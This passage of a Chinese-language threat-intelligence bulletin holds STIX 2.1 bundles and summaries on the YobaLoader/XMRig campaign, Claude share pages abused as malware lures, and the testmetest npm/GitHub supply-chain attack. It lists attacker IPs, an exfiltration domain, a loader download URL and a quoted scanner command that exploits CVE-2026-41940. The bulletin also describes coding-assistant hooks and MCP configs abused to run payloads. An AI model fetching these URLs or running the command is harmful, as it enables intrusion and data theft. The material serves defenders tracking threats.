"id": "relationship--fd741c90-e2cc-4a01-8c8a-bd496519fe5c",
"relationship_type": "uses",
"source_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"target_ref": "attack-pattern--38f85c3d-abfd-48c6-a363-f22cac345baa",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "WMPDMC.exe 利用 DLL sideloading 加载恶意 DLL",
"x_evidence": "原文称：“Using scheduled tasks, the dropper maintains persistence by leveraging the legitimate executable, which will sideload the malicious payload。”",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--d3f6b93d-7633-46fa-b778-ce3b1768adff",
"relationship_type": "uses",
"source_ref": "malware--7d19315b-31aa-4840-aafa-2b8af414b6e4",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "YobaLoader 恶意代码由 wmpdui.dll 文件承载",
"x_evidence": "原文称：“The second-stage payload contains the same code as the dropper”；该载荷落地名称为 wmpdui.dll。",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--6bf65d97-5197-45ff-b6c0-9537d2db3afe",
"relationship_type": "communicates-with",
"source_ref": "malware--7d19315b-31aa-4840-aafa-2b8af414b6e4",
"target_ref": "url--463506eb-1947-4e13-a907-4aa15da5fe74",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "YobaLoader 访问 Telegram 频道获取 DGA 种子图片",
"x_evidence": "原文称：“It then visits this channel using the user-agent string ... and parses the HTML source to extract the src URL of the element with the class tgme_page_photo_image。”",
"x_confidence": 0.92
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--26848819-aabd-46c4-9a54-1fd350693d06",
"relationship_type": "communicates-with",
"source_ref": "malware--7d19315b-31aa-4840-aafa-2b8af414b6e4",
"target_ref": "domain-name--adbcc3b4-33f5-4c36-9f73-80b7b04ae122",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "YobaLoader 查询 DGA 域名的 DNS TXT 记录",
"x_evidence": "原文称：“It then queries Google’s DNS-over-HTTPS (DoH) API to obtain an encrypted command from a DNS TXT record, using a URL of the form https://dns[.]google/resolve?name=$DGA&type=TXT。”",
"x_confidence": 0.92
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--f04b54f9-3d79-485a-b8ef-51abbc2c7ee0",
"relationship_type": "downloads",
"source_ref": "malware--7d19315b-31aa-4840-aafa-2b8af414b6e4",
"target_ref": "url--238135b8-d913-4971-8ceb-9f04147f729b",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "YobaLoader 下载加密载荷",
"x_evidence": "原文称：“The downloader retrieves the encrypted payload”；“Decrypted response: 1https://files.catbox[.]moe/z5zpy9.dat”。",
"x_confidence": 0.93
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--855bd01a-e7ba-432c-a4f2-1ac19df2a257",
"relationship_type": "downloads",
"source_ref": "malware--7d19315b-31aa-4840-aafa-2b8af414b6e4",
"target_ref": "malware--d59fd2ed-4014-4492-8108-5d01cb837676",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "YobaLoader 获取并解密最终载荷 XMRig",
"x_evidence": "原文称：“The downloader retrieves the encrypted payload and decrypts it”；“the injected payload into svchost.exe is an XMRig 6.26.0 miner”。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--42ffad2f-4f2e-4cd5-871a-61fed235eccd",
"relationship_type": "targets",
"source_ref": "malware--7d19315b-31aa-4840-aafa-2b8af414b6e4",
"target_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "YobaLoader 将载荷注入 svchost.exe 进程",
"x_evidence": "原文称：“Injects the downloaded payload into svchost.exe (NtWriteVirtualMemory/NtCreateThreadEx)。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--2477364b-584d-4950-8acb-e77f7caa6f56",
"relationship_type": "executes",
"source_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"target_ref": "malware--d59fd2ed-4014-4492-8108-5d01cb837676",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "svchost.exe 进程执行 XMRig 挖矿载荷",
"x_evidence": "原文称：“the injected payload into svchost.exe is an XMRig 6.26.0 miner。”",
"x_confidence": 0.93
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--c0d0d154-18cc-45eb-b34a-f22d023da1f7",
"relationship_type": "communicates-with",
"source_ref": "malware--d59fd2ed-4014-4492-8108-5d01cb837676",
"target_ref": "domain-name--088f93f7-3eea-480b-b74a-7160ad9431ff",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "XMRig 连接洋葱矿池端点",
"x_evidence": "原文称：“targeting a TLS-enabled onion mining endpoint”；“Mining server: 3zciedc3enu4muwc5adxciyk6u3juhvhvbv6bfrk2arawlvb7k7ovxad[.]onion:443”。",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--aa4a5886-632c-4a79-8033-b5a6389f3a0d",
"relationship_type": "communicates-with",
"source_ref": "malware--d59fd2ed-4014-4492-8108-5d01cb837676",
"target_ref": "ipv4-addr--1018a7f4-863c-4682-ba0c-5d5c9be35eb4",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "XMRig 通过 Tor 桥接节点 51.89.231.85 通信",
"x_evidence": "原文称：“Tor bridge 1: obfs4 51.89.231[.]85:24526”。",
"x_confidence": 0.82
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--6bccf2c8-2528-47ff-9d32-2ba894bbbf31",
"relationship_type": "communicates-with",
"source_ref": "malware--d59fd2ed-4014-4492-8108-5d01cb837676",
"target_ref": "ipv4-addr--e3ea3a4c-a0df-4216-90f2-6cd953d3edaf",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "XMRig 通过 Tor 桥接节点 51.89.228.250 通信",
"x_evidence": "原文称：“Tor bridge 2: obfs4 51.89.228[.]250:21668”。",
"x_confidence": 0.82
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--3715cce2-f7d4-4f47-812b-0d80abd5b229",
"relationship_type": "executes",
"source_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"target_ref": "malware--4a6404f6-77fe-4f9b-97be-424958222990",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "早期变体中 Cursor.exe 进程侧加载 YobaDropper",
"x_evidence": "原文称：“Earlier YobaDropper observed in the wild ... was sideloaded by a process named Cursor.exe。”",
"x_confidence": 0.83
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--d9e1ac2b-f7ab-4f7c-9134-f8b0c84db440",
"relationship_type": "uses",
"source_ref": "observed-data--96b7ca12-fe45-4369-a79d-54566a49c206",
"target_ref": "attack-pattern--38f85c3d-abfd-48c6-a363-f22cac345baa",
"created": "2026-10-28T04:37:04Z",
"modified": "2026-10-28T04:37:04Z",
"description": "早期 Cursor.exe 变体同样利用 DLL sideloading",
"x_evidence": "原文称：“Earlier YobaDropper observed in the wild ... was sideloaded by a process named Cursor.exe。”",
"x_confidence": 0.78
}
]
}报告链接：
https://research.checkpoint.com/2026/tricks-from-the-past-deployed-via-signed-chatgpt-and-claude-binaries/
───────────────────────────────────
（七）Claude共享页面被滥用为恶意安装诱饵
事件名称：网络犯罪分子如何滥用 Claude 自身网站传播恶意软件
发布日期：2026-10-26
发布机构：Gen Threat Labs
威胁概述：
Gen Threat Labs披露，攻击者结合搜索广告与Claude的共享对话、公开Artifact功能，在真实claude.ai域名下承载假冒下载和安装指引。macOS与Windows用户被诱导复制执行命令，分别面临窃密程序或远控载荷投递风险。研究强调，活动利用的是平台可公开分享内容的功能，不意味着Anthropic基础设施被攻陷；真实平台域名也不能替代对页面内容的核验。
IOC指标：
· 暂无公开IOC
报告链接：
https://www.gendigital.com/blog/insights/research/claude-content-sharing-malware
───────────────────────────────────
（八）testmetest活动利用编码助手钩子和MCP配置触发载荷
事件名称：超越 testmetest：原生插件伪装和 42 个被武器化的 GitHub 仓库揭示了一个隐藏的 npm 发布者
发布日期：2026-10-26
发布机构：JFrog Security Research
威胁概述：
JFrog调查发现，testmetest相关恶意npm活动通过原生插件伪装、隐藏加载器和被武器化的GitHub仓库延伸供应链攻击。部分仓库在编码助手启动、MCP连接或编辑器打开文件夹时执行隐藏脚本，涉及Claude、Gemini、Cursor及VS Code等工作流。仓库还可能篡改发布配置以盗用凭据和扩散载荷；活动清单中的占位或诱饵包版本不能一概视为恶意版本。
IOC指标：
· IP:Port：43.228.157.68:80
· URL：http://43.228.157.68:80/api/dl/<amd64|386|arm|arm64>, https://aiarmor.website/v1/api, https://raw.githubusercontent.com/CementBeetleSteeple/node-cache-utils/main/loader.js
· Domain：aiarmor.website
· SHA256（节选）：9d83919bfdb0e14018f1a6f2b8b6586de59b60dfdcfbdb5ae1a1556c23cc4793, 3dc40fc55302664c07c9d9182ffd95910aeb366fcd417fbdad0a90cdeb8ea69e, 8506042b383ab46545c27a402eb2dc973696a93af71181b175b1d87972843a43, 783a4ac906cc9b2eaf5cd13408ea95db6ce52a46d9af11aad1a5b167af69589f, a516dd7867af83f8be0cc3e926fdfd964097f0e7665596b05fe5234be7e2b5e9
· CVE：CVE-2026-41940
STIX详情：
{
"type": "bundle",
"id": "bundle--c5e3d019-7c2f-41bd-bf06-942d6f701264",
"spec_version": "2.1",
"objects": [
{
"type": "campaign",
"spec_version": "2.1",
"id": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"name": "testmetest",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "恶意 npm 攻击活动，通过隐藏的 npm 发布者、加密的数据接收器等进行攻击。",
"x_evidence": "原文标题及内容称 Beyond testmetest... testmetest campaign。",
"x_confidence": 0.95
},
{
"type": "malware",
"spec_version": "2.1",
"id": "malware--5a466d66-a163-457f-aaa1-770283d85d48",
"name": "Miasma",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "SafeDep 描述载荷可能属于的恶意软件家族，尽管具体谱系尚未完全确定。",
"x_evidence": "SafeDep described the payload as Miasma-family while explicitly noting uncertainty about its lineage.",
"x_confidence": 0.6
},
{
"type": "malware",
"spec_version": "2.1",
"id": "malware--139346d9-21da-46a6-b22c-05867b1ed256",
"name": "Shai-Hulud",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "与 testmetest 活动相关的载荷变种后代。",
"x_evidence": "We use \"testmetest campaign\" here because our evidence confirms shared tooling and a Shai-Hulud-descendant payload.",
"x_confidence": 0.85
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--d3ee9adb-3aa8-436e-bc00-dbefbe0fc2a2",
"name": "Bun",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "攻击者在下载及执行载荷时利用的工具环境。",
"x_evidence": "The loader ... located or downloaded Bun 1.2.18.",
"x_confidence": 0.9
},
{
"type": "vulnerability",
"spec_version": "2.1",
"id": "vulnerability--d7a8626e-4010-44bf-9ebd-599cc8e3d39e",
"name": "CVE-2026-41940",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "影响 cPanel & WHM 以及 WP Squared 的身份验证绕过漏洞，被攻击者滥用进行扫描和利用。",
"x_evidence": "CVE-2026-41940 is an authentication bypass affecting cPanel & WHM and WP Squared.",
"x_confidence": 0.95
},
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--d53b1e18-5e8f-431e-a438-1d6bf3b08a29",
"name": "CementBeetleSteeple",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "攻击者控制的 GitHub 账户，托管了包括 ci.js 等分发载荷的基础设施及仓库。",
"x_evidence": "GitHub operator account: CementBeetleSteeple",
"x_confidence": 0.95
},
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--1c778932-efec-45a0-9ae2-b1be3c5a2ed4",
"name": "Leandro Masuero",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "阿根廷开发者，其历史账号 leamasuero 遭攻击者劫持用于恶意活动。",
"aliases": [
"leamasuero"
],
"x_evidence": "The leamasuero account provides the clearest biography of a hijack. Created in 2013, it belonged to Leandro Masuero.",
"x_confidence": 0.9
},
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--b2cc207a-b08e-4b48-912e-73b9f7f72381",
"name": "Crayon-Biz-LLP",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "合法组织，其多个仓库遭武器化并被用来发布恶意组件。",
"x_evidence": "Crayon-Biz-LLP is a legitimate organization rather than an attacker-created shell. Four of its repositories were armed.",
"x_confidence": 0.9
},
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--ae6cf687-4e58-480b-a7bb-7464acd7124c",
"name": "hakimrasdi",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "遭劫持的 GitHub 账号，被用来在其他项目中进行跨仓库感染提交。",
"x_evidence": "Four infection commits were authored as Hakim <156529057+hakimrasdi@users.noreply.github.com>, matching the separately hijacked hakimrasdi account.",
"x_confidence": 0.9
},
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--f2827667-ef11-441f-b976-4fcd2b2e36e0",
"name": "AsharaFernando18",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "遭受感染并被注入恶意载荷的受害者 GitHub 账号。",
"x_evidence": "Eight repositories under AsharaFernando18 received sidecars on July 23.",
"x_confidence": 0.9
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--fb420335-cd02-4d84-9f48-0724a0b05343",
"name": "Wireshark",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "被攻击者恶意 Node 插件用作反分析检查的网络嗅探工具。",
"x_evidence": "It walks the process list ... stops if it contains wireshark.",
"x_confidence": 0.85
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--7ea8c0f6-595c-4bb9-a1fd-7d0550ca808e",
"name": "Process Monitor",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "被恶意加载器检测以逃避分析的进程监控工具。",
"x_evidence": "stops if it contains ... procmon.",
"x_confidence": 0.85
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--71165aac-131f-487b-810c-4beb97413701",
"name": "Process Explorer",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "被恶意加载器检测以逃避分析的进程信息获取工具。",
"x_evidence": "stops if it contains ... procexp.",
"x_confidence": 0.85
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--2b0e9164-5118-43f8-b997-89c364e6ddf4",
"name": "x64dbg",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "用户模式调试工具，载荷会在运行时检查其是否存在以进行规避。",
"x_evidence": "stops if it contains ... x64dbg.",
"x_confidence": 0.85
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--81679ffd-3926-41f7-8150-bafec258c6f4",
"name": "OllyDbg",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "用户模式调试工具，恶意代码包含对它的规避检查。",
"x_evidence": "stops if it contains ... ollydbg.",
"x_confidence": 0.85
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--2d434790-5509-4adc-8297-8cb8135cdc2f",
"name": "Fiddler",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "网络调试工具，恶意代码尝试检测并规避。",
"x_evidence": "stops if it contains ... fiddler.",
"x_confidence": 0.85
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--dab8e3ac-3dc5-41d2-b943-bf42e8ba93d9",
"name": "HTTP Debugger",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "网络嗅探和抓包工具，恶意代码运行时包含对该进程的反分析检测。",
"x_evidence": "stops if it contains ... httpdebug.",
"x_confidence": 0.85
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--1b161a91-e9a0-4bd4-9469-76e1966450c9",
"name": "43.228.157.68",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "原文标注为扫描器C2地址",
"x_evidence": "Scanner C2: 43[.]228[.]157[.]68:80",
"x_confidence": 0.95
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--57403424-419b-4657-bdff-1e8784c3caff",
"name": "http://43.228.157.68:80/api/dl/arch",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "原文标注为扫描器分发路径",
"aliases": [
"hxxp://43.228.157.68:80/api/dl/<amd64|386|arm|arm64>"
],
"x_evidence": "Scanner download pattern: hxxp[:]//43[.]228[.]157[.]68:80/api/dl/<amd64|386|arm|arm64>",
"x_confidence": 0.95
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--6f3cd92e-7b97-4780-ba6c-cb624da441ab",
"name": "aiarmor.website",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "原文标注为数据外传端点域名",
"x_evidence": "Exfiltration endpoint: hxxps[:]//aiarmor[.]website/v1/api",
"x_confidence": 0.95
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--b7d6c822-5020-414f-9e01-0d870ae8f13d",
"name": "https://aiarmor.website/v1/api",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "原文标注为数据外传端点",
"x_evidence": "Exfiltration endpoint: hxxps[:]//aiarmor[.]website/v1/api",
"x_confidence": 0.95
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--a46c86b8-3a32-43f1-9290-e06dd424ab4e",
"name": "https://raw.githubusercontent.com/CementBeetleSteeple/node-cache-utils/main/loader.js",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "原文标注为原生插件加载器下载",
"x_evidence": "Native addon loader download: hxxps[:]//raw[.]githubusercontent[.]com/CementBeetleSteeple/node-cache-utils/main/loader.js",
"x_confidence": 0.9
},
{
"type": "observed-data",
"spec_version": "2.1",
"id": "observed-data--edd627e4-3dac-4de0-8d93-35706e386da9",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"first_observed": "2026-10-26T16:12:57Z",
"last_observed": "2026-10-26T16:12:57Z",
"number_observed": 1,
"objects": {
"0": {
"type": "file",
"name": ".napi_cache",
"description": "存放加密载荷的文件，运行时被 addon 异或解密并执行。",
"aliases": [],
"evidence": "Instead decrypts a file named .napi_cache at runtime to reveal the real one.",
"confidence": 0.9
},
"1": {
"type": "file",
"name": "addon.node",
"description": "Linux 系统下用作攻击伪装的编译好的本地插件。",
"aliases": [],
"evidence": "carry a precompiled Node addon (addon.node)",
"confidence": 0.9
},
"2": {
"type": "file",
"name": "addon_win.node",
"description": "Windows 系统下用作攻击伪装的编译好的本地插件。",
"aliases": [],
"evidence": "plus addon_win.node for Windows",
"confidence": 0.9
},
"3": {
"type": "file",
"name": "ci.js",
"description": "用于在 GitHub Actions 中执行，利用凭据生成更多恶意 testmetest 发布的脚本文件。",
"aliases": [],
"evidence": "short-lived branches named chore/ci-<hex> carried a root-level ci.js and an Actions workflow.",
"confidence": 0.9
},
"4": {
"type": "file",
"name": "shellpanel-legacy-compat-mock.py",
"description": "攻击者部署的测试用 Python 脚本文件。",
"aliases": [],
"evidence": "The small files shellpanel-legacy-compat-mock.py ... binds only to 127.0.0.1:18080 ... operator regression and smoke-test harnesses.",
"confidence": 0.85
},
"5": {
"type": "file",
"name": "shellpanel-legacy-compat-tool.sh",
"description": "攻击者用作结果写入及回归测试标记的 Shell 脚本文件。",
"aliases": [],
"evidence": "The small files shellpanel-legacy-compat-tool.sh ... prints a marker and writes a result under /tmp.",
"confidence": 0.85
},
"6": {
"type": "process",
"name": "shellpanel scanner",
"description": "恶意工作流中用于下载扫描器到 /tmp/.svc 并以高并发参数执行扫描命令。",
"aliases": [],
"evidence": "nohup /tmp/.svc ipscan --source random --workers 1000 --exploit CVE-2026-41940 --git --ports ...",
"confidence": 0.9
},
"7": {
"type": "file",
"name": ".github/init.js",
"description": "12.9–13.7 MB 的 polymorphic wrapper，解码后得到相同的发布器载荷 _p。",
"aliases": [],
"evidence": "12.9 to 13.7 MB polymorphic wrappers that all decode to the same hidden CI-publisher payload. Payload path: .github/init.js",
"confidence": 0.9
}
}
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--edc990ee-21d2-4443-a5e9-2bfe9199586d",
"relationship_type": "uses",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "malware--5a466d66-a163-457f-aaa1-770283d85d48",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 活动使用的载荷被描述为 Miasma 家族，但谱系未确定。",
"x_evidence": "SafeDep described the payload as Miasma-family while explicitly noting uncertainty about its lineage.",
"x_confidence": 0.4
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--7ea44623-c11d-4426-84a2-73f0f9e68b81",
"relationship_type": "uses",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "malware--139346d9-21da-46a6-b22c-05867b1ed256",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 活动使用 Shai-Hulud 载荷变种。",
"x_evidence": "We use \"testmetest campaign\" here because our evidence confirms shared tooling and a Shai-Hulud-descendant payload.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--5756552c-f5e7-4717-8bac-9a98f6c72618",
"relationship_type": "uses",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "tool--d3ee9adb-3aa8-436e-bc00-dbefbe0fc2a2",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "攻击过程中利用 Bun 工具环境下载并执行载荷。",
"x_evidence": "The loader applied a per-build Caesar transformation ... located or downloaded Bun 1.2.18.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--cc5f3468-42f8-47b7-acfc-f3dd175e7184",
"relationship_type": "exploits",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "vulnerability--d7a8626e-4010-44bf-9ebd-599cc8e3d39e",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 活动滥用 CVE-2026-41940 漏洞进行扫描和利用。",
"x_evidence": "Shellpanel workflows targeting cPanel systems through CVE-2026-41940 also appeared in this same cluster.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--2451f611-9949-42f0-9b49-d69b02eb63d2",
"relationship_type": "uses",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "identity--d53b1e18-5e8f-431e-a438-1d6bf3b08a29",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 活动使用攻击者控制的 GitHub 账户 CementBeetleSteeple 托管恶意基础设施。",
"x_evidence": "CementBeetleSteeple is the same account that hosts the ci.js publisher repositories.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--2f741bcd-6215-4b6f-b0c5-c9d9cea27804",
"relationship_type": "uses",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "observed-data--edd627e4-3dac-4de0-8d93-35706e386da9",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 活动使用 ci.js 脚本在 GitHub Actions 中发布恶意包。",
"x_evidence": "The hidden ci.js publisher ... designed to run through GitHub Actions ... produce further malicious testmetest releases.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--befca079-4f74-45a7-a789-251feb3c839d",
"relationship_type": "targets",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "identity--1c778932-efec-45a0-9ae2-b1be3c5a2ed4",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 活动劫持 Leandro Masuero 的 GitHub 账号用于恶意活动。",
"x_evidence": "By July 2026 the account was being used for shellpanel testing. On September 28 the attacker renamed repositories ... and armed 13 of them.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--254d8052-7839-4502-a0ef-00f773b96751",
"relationship_type": "targets",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "identity--b2cc207a-b08e-4b48-912e-73b9f7f72381",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 活动武器化 Crayon-Biz-LLP 的多个仓库用于发布恶意组件。",
"x_evidence": "Four of its repositories were armed with the same G6 payload build.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--9df09282-cf3a-4986-a2c3-b702de7f8c99",
"relationship_type": "targets",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "identity--ae6cf687-4e58-480b-a7bb-7464acd7124c",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 活动劫持 hakimrasdi 账号进行跨仓库感染提交。",
"x_evidence": "Four infection commits were authored as Hakim ... matching the separately hijacked hakimrasdi account.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--8a984410-2a1d-4081-acc6-b3cda7b7dacb",
"relationship_type": "targets",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "identity--f2827667-ef11-441f-b976-4fcd2b2e36e0",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 活动感染 AsharaFernando18 账号并注入恶意载荷。",
"x_evidence": "Eight repositories under AsharaFernando18 received sidecars on July 23.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--44931ffe-599b-433d-9087-8cea009a6282",
"relationship_type": "uses",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "observed-data--edd627e4-3dac-4de0-8d93-35706e386da9",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 在受害者仓库中植入 .github/init.js polymorphic wrapper 以启动感染。",
"x_evidence": "42 armed GitHub repositories across 11 owners ... Payload path: .github/init.js",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--c2a51866-7612-4be3-8313-4e7dc213dff2",
"relationship_type": "uses",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "observed-data--edd627e4-3dac-4de0-8d93-35706e386da9",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 部署 shellpanel 工作流，使用扫描器进程进行大规模扫描。",
"x_evidence": "The campaign's GitHub infrastructure ... Shellpanel workflows targeting cPanel systems ... /tmp/.svc ipscan.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--8661af84-9862-4b62-8121-e28e203047e8",
"relationship_type": "uses",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "observed-data--edd627e4-3dac-4de0-8d93-35706e386da9",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 部署 shellpanel-legacy-compat-mock.py 用于回归测试。",
"x_evidence": "The Python file binds only to 127.0.0.1:18080 ... operator regression and smoke-test harnesses.",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--67d90903-b3b7-473b-94d3-1ec01839de48",
"relationship_type": "uses",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "observed-data--edd627e4-3dac-4de0-8d93-35706e386da9",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 部署 shellpanel-legacy-compat-tool.sh 用于结果写入和测试标记。",
"x_evidence": "The shell script prints a marker and writes a result under /tmp.",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--429dbc0c-1ac7-49bb-a89c-524c164f7691",
"relationship_type": "uses",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "url--a46c86b8-3a32-43f1-9290-e06dd424ab4e",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 活动使用原生 addon 下载链接从 CementBeetleSteeple 仓库获取 loader。",
"x_evidence": "A second function ... pulls a loader from a repository on the operator's own GitHub account: https://raw.githubusercontent.com/CementBeetleSteeple/node-cache-utils/main/loader.js",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
